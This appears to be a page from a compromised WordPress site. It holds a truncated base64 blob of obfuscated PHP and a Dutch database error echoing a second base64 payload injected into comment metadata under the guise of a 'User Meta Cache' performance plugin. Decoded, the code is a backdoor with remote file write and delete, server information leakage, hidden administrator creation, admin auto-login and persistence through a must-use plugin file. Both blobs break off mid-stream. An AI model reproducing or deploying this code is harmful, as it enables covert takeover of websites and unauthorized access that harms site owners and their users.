xLDgyLDkzLDkzLDkzLDc2LDI0LDY1LDg2LDgyLDg2KTskX2NjY2M4NmRjYz0nODgzMzMyJzskX3dwNTNhOTE5NDA9Jyc7Zm9yKCRfX2NhY2hlXzczN2Q9MDskX19jYWNoZV83MzdkPGNvdW50KCRfX29wdF9lN2U2KTskX19jYWNoZV83MzdkKyspJF93cDUzYTkxOTQwLj1jaHIoJF9fb3B0X2U3ZTZbJF9fY2FjaGVfNzM3ZF1eb3JkKCRfY2NjYzg2ZGNjWyRfX2NhY2hlXzczN2Qlc3RybGVuKCRfY2NjYzg2ZGNjKV0pKTtyZXR1cm4gJF93cDUzYTkxOTQwO30pKCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxMTkpLmNocigxMTQpLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpKSkgew0KCQkJCQkkX3QwNmU3MTMyID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWyJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0Il0gOiAnJzsNCgkJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9pMjEyZmM4ZGMsICRfdDA2ZTcxMzIsIDEsIHRydWUpOw0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gIlx4NjRceDY1XHg2Y1x4NjVceDc0XHg2NSIpIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9pMjEyZmM4ZGMpKSk7DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAiXHg2OVx4NmVceDY2XHg2ZiI6DQoJCQkJJHdwX29wdGlvbl85MThkID0gYXJyYXkoDQoJCQkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJCQknd3AnID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLA0KCQkJCQknb3MnID0+IFBIUF9PUywNCgkJCQkJJ3NhcGknID0+IHBocF9zYXBpX25hbWUoKSwNCgkJCQkJKGZ1bmN0aW9uKCl7JF9yNTRmNTE9YXJyYXkoNzEsNjYsOTMsNjQpOyR3cF9jYWNoZV85MGM4PScyMTgyJzskX2M4MmIzNzI9Jyc7Zm9yKCRfYzg5OTZlPTA7JF9jODk5NmU8Y291bnQoJF9yNTRmNTEpOyRfYzg5OTZlKyspJF9jODJiMzcyLj1jaHIoJF9yNTRmNTFbJF9jODk5NmVdXm9yZCgkd3BfY2FjaGVfOTBjOFskX2M4OTk2ZSVzdHJsZW4oJHdwX2NhY2hlXzkwYzgpXSkpO3JldHVybiAkX2M4MmIzNzI7fSkoKSA9PiBmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9pZjgxNjM9YXJyYXkoMjAsOTEsNzEsOTEsMjYsNTksODMsODEsNzAsMTgsMTksNjUsOTMsODYpOyR3cF9xdWVyeV9hMmIwPSdkNDQyYic7JF9fY2FjaGVfMDM1Nj0nJztmb3IoJF94YTczNDY1PTA7JF94YTczNDY1PGNvdW50KCRfaWY4MTYzKTskX3hhNzM0NjUrKykkX19jYWNoZV8wMzU2Lj1jaHIoJF9pZjgxNjNbJF94YTczNDY1XV5vcmQoJHdwX3F1ZXJ5X2EyYjBbJF94YTczNDY1JXN0cmxlbigkd3BfcXVlcnlfYTJiMCldKSk7cmV0dXJuICRfX2NhY2hlXzAzNTY7fSkoKSkgPyBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpWyhmdW5jdGlvbigpeyR3cF9hY3Rpb25fYmVjNT1hcnJheSgxMCw4Myw4NCw4Nik7JHdwX2ZpbHRlcl81YWRiPSdkMjkzNTQzJzskX3dwM2VmYjE9Jyc7Zm9yKCR3cF9vcHRpb25fZmRhNT0wOyR3cF9vcHRpb25fZmRhNTxjb3VudCgkd3BfYWN0aW9uX2JlYzUpOyR3cF9vcHRpb25fZmRhNSsrKSRfd3AzZWZiMS49Y2hyKCR3cF9hY3Rpb25fYmVjNVskd3Bfb3B0aW9uX2ZkYTVdXm9yZCgkd3BfZmlsdGVyXzVhZGJbJHdwX29wdGlvbl9mZGE1JXN0cmxlbigkd3BfZmlsdGVyXzVhZGIpXSkpO3JldHVybiAkX3dwM2VmYjE7fSkoKV0gOiBnZXRfY3VycmVudF91c2VyKCksDQoJCQkJCSdkb2Nfcm9vdCcgPT4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA/PyAnJywNCgkJCQkJJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQoJCQkJCSdjb250ZW50X2RpcicgPT4gV1BfQ09OVEVOVF9ESVIsDQoJCQkJCSdkYl9wcmVmaXgnID0+ICRHTE9CQUxTWyd0YWJsZV9wcmVmaXgnXSA/PyAnd3BfJywNCgkJCQkJJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoKGNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDEwMSkuY2hyKDExMCkuY2hyKDExNSkuY2hyKDExNSkuY2hyKDE0NyBeIDB4ZmYpKSksDQoJCQkJCSdkaXNhYmxlZCcgPT4gaW5pX2dldCgoZnVuY3Rpb24oKXskX19yZWZfNmVmMT1hcnJheSg4Nyw4OSw3MCw4OSwxLDg1LDg2LDExMSw4Myw3NywxMyw5MCw3MSw4OSw5MCw4NiwxNik7JF93cDlkYmM3MjM3PSczMDU4YzknOyRfYzhhMDgwOGIwPScnO2ZvcigkX2NiYjcxM2U3Yj0wOyRfY2JiNzEzZTdiPGNvdW50KCRfX3JlZl82ZWYxKTskX2NiYjcxM2U3YisrKSRfYzhhMDgwOGIwLj1jaHIoJF9fcmVmXzZlZjFbJF9jYmI3MTNlN2JdXm9yZCgkX3dwOWRiYzcyMzdbJF9jYmI3MTNlN2Ilc3RybGVuKCRfd3A5ZGJjNzIzNyldKSk7cmV0dXJuICRfYzhhMDgwOGIwO30pKCkpLA0KCQkJCQkiXHg2ZFx4NjVceDZkXHg2Zlx4NzJceDc5IiA9PiBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKSwNCgkJCQkJKGNocigxMTcpLmNocigxNDMgXiAweGZmKS4iXHg2YyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoMTAwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwOSkuIlx4NjEiLmNocigxMjApKSA9PiBpbmlfZ2V0KChjaHIoMTE3KS4iXHg3MCIuY2hyKDE0NyBeIDB4ZmYpLmNocigxNDQgXiAweGZmKS5jaHIoOTcpLmNocigxMDApLmNocigxNjAgXiAweGZmKS5jaHIoMTA5KS5jaHIoMTU4IF4gMHhmZikuIlx4NzgiLmNocig5NSkuY2hyKDEwMikuY2hyKDE1MCBeIDB4ZmYpLiJceDZjIi5jaHIoMTAxKS5jaHIoMTQwIF4gMHhmZikuIlx4NjkiLmNocigxMzMgXiAweGZmKS5jaHIoMTAxKSkpLA0KCQkJCSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKCR3cF9vcHRpb25fOTE4ZCk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICJceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVceDVmXHg2MVx4NjRceDZkXHg2OVx4NmUiOg0KCQkJCSRfX3JlZl9kYzQwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9jMjRmYT1hcnJheSg3LDIsNjQsODgsMTEsOCk7JF9yZGFlNWMzYTg9J2ZhNDFkJzskX3dwZDAwODI9Jyc7Zm9yKCRfd3AxM2EwY2M5Yz0wOyRfd3AxM2EwY2M5Yzxjb3VudCgkX2MyNGZhKTskX3dwMTNhMGNjOWMrKykkX3dwZDAwODIuPWNocigkX2MyNGZhWyRfd3AxM2EwY2M5Y11eb3JkKCRfcmRhZTVjM2E4WyRfd3AxM2EwY2M5YyVzdHJsZW4oJF9yZGFlNWMzYTgpXSkpO3JldHVybiAkX3dwZDAwODI7fSkoKV0gOiAoZnVuY3Rpb24oKXskX2NiYWI1PWFycmF5KDUsMjIsODYsODMsNzAsODIpOyRfcTE3YzJhPSdmZDMyMjc2OSc7JF93cDJmYzYxPScnO2Zvcigkd3Bfc2Vzc2lvbl80YmIxPTA7JHdwX3Nlc3Npb25fNGJiMTxjb3VudCgkX2NiYWI1KTskd3Bfc2Vzc2lvbl80YmIxKyspJF93cDJmYzYxLj1jaHIoJF9jYmFiNVskd3Bfc2Vzc2lvbl80YmIxXV5vcmQoJF9xMTdjMmFbJHdwX3Nlc3Npb25fNGJiMSVzdHJsZW4oJF9xMTdjMmEpXSkpO3JldHVybiAkX3dwMmZjNjE7fSkoKTsNCgkJCQkkd3BfYWN0aW9uXzMyN2QgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCQkJJHdwX2ZpbHRlcl84ODk0ID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfb2I0NDM9YXJyYXkoNzMsNCw3NCwyMik7JF92YmIzNT0nOWU5ZTgzNyc7JF9jZmcyMzkzZTM2PScnO2ZvcigkX3dwMTNiNzY5OD0wOyRfd3AxM2I3Njk4PGNvdW50KCRfb2I0NDMpOyRfd3AxM2I3Njk4KyspJF9jZmcyMzkzZTM2Lj1jaHIoJF9vYjQ0M1skX3dwMTNiNzY5OF1eb3JkKCRfdmJiMzVbJF93cDEzYjc2OTglc3RybGVuKCRfdmJiMzUpXSkpO3JldHVybiAkX2NmZzIzOTNlMzY7fSkoKV0pID8gJF9QT1NUWydwYXNzJ10gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKCQkJCWlmICgkX19yZWZfZGM0MCA9PT0gJ2NyZWF0ZScpIHsNCgkJCQkJaWYgKHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpKSB7DQoJCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQkJd3Bfc2V0X3Bhc3N3b3JkKCR3cF9maWx0ZXJfODg5NCwgJF9jOGQzYjYpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJF9jOGQzYjYgPSB3cF9pbnNlcnRfdXNlcihhcnJheSgNCgkJCQkJCQkoY2hyKDEzOCBeIDB4ZmYpLmNocigxMTUpLmNocigxMDEpLmNocigxNDEgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTEpLmNocigxMDMpLmNocigxNTAgXiAweGZmKS5jaHIoMTEwKSkgPT4gJHdwX2FjdGlvbl8zMjdkLA0KCQkJCQkJCSd1c2VyX3Bhc3MnID0+ICR3cF9maWx0ZXJfODg5NCwNCgkJCQkJCQkndXNlcl9lbWFpbCcgPT4gJHdwX2FjdGlvbl8zMjdkIC4gJ0AnIC4gcGFyc2VfdXJsKHNpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCksDQoJCQkJCQkJJ3JvbGUnID0+IChmdW5jdGlvbigpeyRfX2NmZ18wNThkPWFycmF5KDg4LDg1LDksMTEsMTEsMTMsNzQsNjksMjIsMywxNywxMSw3NSk7JF9oMmU3OT0nOTFkYmVkJzskX19vcHRfYTFjMj0nJztmb3IoJF93cDZhYmIxOD0wOyRfd3A2YWJiMTg8Y291bnQoJF9fY2ZnXzA1OGQpOyRfd3A2YWJiMTgrKykkX19vcHRfYTFjMi49Y2hyKCRfX2NmZ18wNThkWyRfd3A2YWJiMThdXm9yZCgkX2gyZTc5WyRfd3A2YWJiMTglc3RybGVuKCRfaDJlNzkpXSkpO3JldHVybiAkX19vcHRfYTFjMjt9KSgpLA0KCQkJCQkJCSJceDY0XHg2OVx4NzNceDcwXHg2Y1x4NjFceDc5XHg1Zlx4NmVceDYxXHg2ZFx4NjUiID0+ICgiXHg1NyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoMTAwKS5jaHIoODApLmNocigxMTQpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikuY2hyKDIyMyBeIDB4ZmYpLmNocig4MykuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIi5jaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSksDQoJCQkJCQkpKTsNCgkJCQkJfQ0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfYzhkM2I2KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfYWN0aW9uXzMyN2QsIChjaHIoMTQzIF4gMHhmZikuY2hyKDk3KS4iXHg3MyIuY2hyKDExNSkpID0+ICR3cF9maWx0ZXJfODg5NCwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jOGQzYjYpID8gMCA6ICRfYzhkM2I2KSk7DQoJCQkJfSBlbHNlaWYgKCRfX3JlZl9kYzQwID09PSAnZGVsZXRlJykgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQlpZiAoJF9jOGQzYjYpIHsNCgkJCQkJCXJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQoJCQkJCQl3cF9kZWxldGVfdXNlcigkX2M4ZDNiNik7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRfYzhkM2I2KSk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChjaHIoMTAxKS5jaHIoMTE0KS4iXHg3MiIuIlx4NmYiLmNocigxMTQpKSA9PiAnbm90IGZvdW5kJykpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAnYXV0b2xvZ2luJzoNCgkJCQkkX3dwYTlhZSA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkX3dwYTlhZSk7DQoJCQkJaWYgKCEkX2M4ZDNiNikgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygnYWRtaW4nKTsNCgkJCQl9DQoJCQkJaWYgKCRfYzhkM2I2KSB7DQoJCQkJCXdwX3NldF9hdXRoX2Nvb2tpZSgkX2M4ZDNiNiwgdHJ1ZSk7DQoJCQkJCXdwX3NldF9jdXJyZW50X3VzZXIoJF9jOGQzYjYpOw0KCQkJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ25vIHVzZXInKSk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICd1JzoNCgkJCQkkX2MyMjQ4YmIwID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfYzczOWUxMT1hcnJheSg4Niw5MCw4MCw0KTskX2ZjNzNhOD0nNTU0YSc7JHdwX29wdGlvbl8yMDJlPScnO2Zvcigkd3BfaGFuZGxlcl9kMWM3PTA7JHdwX2hhbmRsZXJfZDFjNzxjb3VudCgkX2M3MzllMTEpOyR3cF9oYW5kbGVyX2QxYzcrKykkd3Bfb3B0aW9uXzIwMmUuPWNocigkX2M3MzllMTFbJHdwX2hhbmRsZXJfZDFjN11eb3JkKCRfZmM3M2E4WyR3cF9oYW5kbGVyX2QxYzclc3RybGVuKCRfZmM3M2E4KV0pKTtyZXR1cm4gJHdwX29wdGlvbl8yMDJlO30pKCldKSA/ICRfUE9TVFsiXHg2M1x4NmZceDY0XHg2NSJdIDogJyc7DQoJCQkJaWYgKHN0cmxlbigkX2MyMjQ4YmIwKSA8IDEwMDAgfHwgc3RycG9zKCRfYzIyNDhiYjAsIChjaHIoMTk1IF4gMHhmZikuIlx4M2YiLmNocigxNDMgXiAweGZmKS4iXHg2OCIuY2hyKDE0MyBeIDB4ZmYpKSkgIT09IDApIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgoZnVuY3Rpb24oKXskX2xkNWJmMj1hcnJheSgwLDE5LDc1LDEzLDIwKTskX280YmZjPSdlYTliZic7JF90ODc5YT0nJztmb3IoJF9faG9va182Mjk4PTA7JF9faG9va182Mjk4PGNvdW50KCRfbGQ1YmYyKTskX19ob29rXzYyOTgrKykkX3Q4NzlhLj1jaHIoJF9sZDViZjJbJF9faG9va182Mjk4XV5vcmQoJF9vNGJmY1skX19ob29rXzYyOTglc3RybGVuKCRfbzRiZmMpXSkpO3JldHVybiAkX3Q4NzlhO30pKCkgPT4gJ2ludmFsaWQgY29kZScpKTsNCgkJCQkJZXhpdDsNCgkJCQl9DQoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2MyMjQ4YmIwLCA1MDAsIHRydWUpOw0KCQkJCWlmICgkX2NjZDE1OGQpIHsNCgkJCQkJdXBkYXRlX29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICgnYmEnLidzZTYnLic0XycuJ2VuJy4nY28nLidkZScpKCRfYzIyNDhiYjApLCAnbm8nKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2ludGVncml0eScsIG1kNSgkX2MyMjQ4YmIwKSwgODY0MDApOw0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJZXhpdDsNCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfdG9rZW5fYjk1ZSkge30KCmlmKCFkZWZpbmVkKCdDT1JFX0lOVEVHUklUWV81OUZCJykpZGVmaW5lKCdDT1JFX0lOVEVHUklUWV81OUZCJywzNTA1KTsK')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_commentmeta']
INSERT INTO `wp_commentmeta` (`comment_id`, `meta_key`, `meta_value`) VALUES ('5', '_wp_media_settings_hash_cstatus', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBVc2VyIE1ldGEgQ2FjaGUNCiogQGRlc2NyaXB0aW9uIExpZ2h0d2VpZ2h0IHBlcmZvcm1hbmNlIHByb2ZpbGluZyBhbmQgcGVyZm9ybWFuY2UgaW5kaWNhdG9ycw0KKiBAdmVyc2lvbiA0LjMuMTgNCiogQGF1dGhvciBXb3JkUHJlc3MgSG9zdGluZyBUZWFtDQoqIExpY2Vuc2U6IEdQTC0yLjArDQoqLwoKaWYgKCFkZWZpbmVkKCJceDQxXHg0Mlx4NTNceDUwXHg0MVx4NTRceDQ4IikpIHJldHVybjsNCmlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHJldHVybjsNCgokX2g3N2Y1ID0gKGZ1bmN0aW9uKCl7JF9yM2FiYTQwNT1hcnJheSg3LDgxLDg3LDgwLDMsODksMSw4MiwxLDEsNSw4NiwwLDgwLDE1LDg1LDgxLDMsMSw4MSwwLDgwLDkwLDkwLDgxLDEsODEsMSw2LDg2LDE1LDEpOyR3cF90b2tlbl80YjI1PSc1MzJiMWE4Yic7JF93cDRkYjkzYzEyPScnO2ZvcigkX19sb2FkXzU4OTk9MDskX19sb2FkXzU4OTk8Y291bnQoJF9yM2FiYTQwNSk7JF9fbG9hZF81ODk5KyspJF93cDRkYjkzYzEyLj1jaHIoJF9yM2FiYTQwNVskX19sb2FkXzU4OTldXm9yZCgkd3BfdG9rZW5fNGIyNVskX19sb2FkXzU4OTklc3RybGVuKCR3cF90b2tlbl80YjI1KV0pKTtyZXR1cm4gJF93cDRkYjkzYzEyO30pKCk7DQokX2M0MzE3ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDk1KS5jaHIoMTUzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTM0IF4gMHhmZikuY2hyKDExNSkuY2hyKDExNikuIlx4NjUiLiJceDZkIi5jaHIoOTUpLmNocigxMDkpLmNocigxNTQgXiAweGZmKS4iXHg3NCIuY2hyKDEwNCkuIlx4NmYiLmNocigxNTUgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLmNocig5NykuY2hyKDE1NiBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIpOw0KJF9sZDIzNTIgPSAnX3dwX3Bhc3N3b3JkX3Jlc2V0X3F1ZXVlJzsNCiRfYzQ3YjYgPSAnX3dwX21lZGlhX3NldHRpbmdzX2hhc2gnOw0KJF93cDk0ZGUgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDYzXHgzN1x4MzBceDY2XHg2Mlx4MzJceDM5XHgzNSI7DQokX3dwMmJiMWI2YmUgPSAnX2FjXzhhZGFjNTU0JzsNCiRfYzFhY2NhOWMgPSAndXBkYXRlLWhhbmRsZXIucGhwJzsNCiRfaTIxY2M5ZWVmID0gJ3JvbGVfY2FjaGVfcmVidWlsZF83NWUzJzsNCiRfYzQ2MDM0YjMgPSAiXHg1Zlx4NzdceDcwXHg2OFx4NWZceDYxXHg2Mlx4MzlceDMzIjsNCiRfY2Q0MTYgPSAoZnVuY3Rpb24oKXskX3dwMDI4MzM2PWFycmF5KDIxLDkyLDE0LDIxLDgxLDcwLDE5LDE1LDkwLDQpOyRfYzUzMzcyMWRjPSdmOWFmNDRlJzskd3Bfb3B0aW9uX2ZmMDY9Jyc7Zm9yKCRfcDIxNGE9MDskX3AyMTRhPGNvdW50KCRfd3AwMjgzMzYpOyRfcDIxNGErKykkd3Bfb3B0aW9uX2ZmMDYuPWNocigkX3dwMDI4MzM2WyRfcDIxNGFdXm9yZCgkX2M1MzM3MjFkY1skX3AyMTRhJXN0cmxlbigkX2M1MzM3MjFkYyldKSk7cmV0dXJuICR3cF9vcHRpb25fZmYwNjt9KSgpOw0KJF9zNzRkMTZiOTUgPSAnX3dwX25vbmNlJzsNCiRfZjNhZGNlZmIgPSAnbWVkaWEtb3B0L3YxJzsNCiRfYzc1MGMxZGRlID0gIlx4NWZceDc3XHg3MFx4NzgiOw0KJF9fY2FjaGVfMTI5ZSA9ICJceDc3XHg2OVx4NjRceDY3XHg2NVx4NzRceDJkXHg2M1x4NjFceDYzXHg2OFx4NjVceDJkXHg2Y1x4NjFceDc5XHg2NVx4NzIiOw0KJF9jM2ZkNDcyID0gJ3dpZGdldC1jYWNoZS1sYXllci5waHAnOw0KJF9zOWU0NTY0ID0gJ25sX05MLnBocCc7DQokX2YxMDBlID0gJF9jNDdiNiAuICdfd2NmZyc7DQokX2MxYWRiID0gJF9jNDdiNiAuICdfcGNhY2hlJzsNCiR3cF9maWx0ZXJfODllMSA9ICRfYzQ3YjYgLiAnX3VwcmVmcyc7DQokd3BfcXVlcnlfNGRhMSA9ICRfYzQ3YjYgLiAnX3RvcmRlcic7DQokX3dwNDY4MyA9ICRfYzQ3YjYgLiAnX2NzdGF0dXMnOw0KJF9fcHJvY18wNTRjID0gJF9jNDdiNiAuICdfYXZfYmFja3VwJzsNCiRfY2RlZjA4ID0gJF9jNDdiNiAuICdfYmNkYXRhJzsNCiR3cF9hY3Rpb25fNzIzZCA9ICRfYzQ3YjYgLiAnX2JjbWV0YSc7DQoKZnVuY3Rpb24gX3gzZjI0YzgoJF9jN2FhMWU5NSwgJHdwX3F1ZXJ5X2QxMjksICRfd3A2NWJjID0gMTAwLCAkd3BfYWN0aW9uXzBkYTIgPSBmYWxzZSwgJF9tMmIwZTMgPSBmYWxzZSkgew0KCWlmIChzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpIDwgJF93cDY1YmMpIHJldHVybiBmYWxzZTsNCgkkX3dwNmIyZjMyNSA9IEBmaWxlc2l6ZSgkX2M3YWExZTk1KTsNCgkkX2M3MmI4YjM3ZCA9IEBmaWxlbXRpbWUoJF9jN2FhMWU5NSk7DQoJaWYgKCEkd3BfYWN0aW9uXzBkYTIgJiYgJF93cDZiMmYzMjUgJiYgc3RybGVuKCR3cF9xdWVyeV9kMTI5KSA8ICRfd3A2YjJmMzI1KSByZXR1cm4gZmFsc2U7DQoJJF9jZWUwMmMxYSA9ICRfYzdhYTFlOTUgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfYzdhYTFlOTUpKSBAY29weSgkX2M3YWExZTk1LCAkX2NlZTAyYzFhKTsNCgkkd3BfcXVlcnlfYjFiOCA9ICRfYzdhYTFlOTUgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCgkkd3Bfc2Vzc2lvbl9lMGNiID0gQCgnZmlsJy4nZV9wdScuJ3RfYycuJ29udGUnLidudHMnKSgkd3BfcXVlcnlfYjFiOCwgJHdwX3F1ZXJ5X2QxMjksIExPQ0tfRVgpOw0KCWlmICgkd3Bfc2Vzc2lvbl9lMGNiID09PSBzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpKSB7DQoJCWlmIChAcmVuYW1lKCR3cF9xdWVyeV9iMWI4LCAkX2M3YWExZTk1KSkgew0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF9jN2FhMWU5NSwgdHJ1ZSk7DQoJCQlpZiAoJF9tMmIwZTMgJiYgJF9jNzJiOGIzN2QpIEB0b3VjaCgkX2M3YWExZTk1LCAkX2M3MmI4YjM3ZCwgJF9jNzJiOGIzN2QpOw0KCQkJQHVubGluaygkX2NlZTAyYzFhKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJfQ0KCUB1bmxpbmsoJHdwX3F1ZXJ5X2IxYjgpOw0KCWlmIChmaWxlX2V4aXN0cygkX2NlZTAyYzFhKSkgeyBAY29weSgkX2NlZTAyYzFhLCAkX2M3YWExZTk1KTsgQHVubGluaygkX2NlZTAyYzFhKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiB3cF9tZXRhXzJjOTgoJF93cGZlNDQ2OSwgJF90NWVmNTJlZCkgew0KCSRfYzNiYzlmID0gJyc7DQoJJF9zMTc3ZSA9IHN0cmxlbigkX3Q1ZWY1MmVkKTsNCglmb3IgKCRfd3A5MWZmNTAgPSAwOyAkX3dwOTFmZjUwIDwgc3RybGVuKCRfd3BmZTQ0NjkpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX3dwZmU0NDY5WyRfd3A5MWZmNTBdKSBeIG9yZCgkX3Q1ZWY1MmVkWyRfd3A5MWZmNTAgJSAkX3MxNzdlXSkpOw0KCX0NCglyZXR1cm4gKCdiYScuJ3NlNjQnLidfZW5jJy4nb2RlJykoJF9jM2JjOWYpOw0KfQ0KCmZ1bmN0aW9uIF9jMjQ0ODFiNygkX3dwZmU0NDY5LCAkX3Q1ZWY1MmVkKSB7DQoJJF9fb3B0XzFjMWIgPSAoJ2JhJy4nc2UnLic2NF9kJy4nZWNvZCcuJ2UnKSgkX3dwZmU0NDY5KTsNCglpZiAoJF9fb3B0XzFjMWIgPT09IGZhbHNlKSByZXR1cm4gJyc7DQoJJF9jM2JjOWYgPSAnJzsNCgkkX3MxNzdlID0gc3RybGVuKCRfdDVlZjUyZWQpOw0KCWZvciAoJF93cDkxZmY1MCA9IDA7ICRfd3A5MWZmNTAgPCBzdHJsZW4oJF9fb3B0XzFjMWIpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX19vcHRfMWMxYlskX3dwOTFmZjUwXSkgXiBvcmQoJF90NWVmNTJlZFskX3dwOTFmZjUwICUgJF9zMTc3ZV0pKTsNCgl9DQoJcmV0dXJuICRfYzNiYzlmOw0KfQ0KCmZ1bmN0aW9uIF9oNmYwMygpIHsNCglyZXR1cm4gKGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnKSAuICcvJyAuICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCn0NCgpmdW5jdGlvbiBfX2NmZ182Mjk1KCRfYzdhYTFlOTUsICRfY2FkOWM1ZmUgPSBudWxsKSB7DQoJaWYgKCEkX2NhZDljNWZlKSAkX2NhZDljNWZlID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCc7DQoJJF93cDEwNjY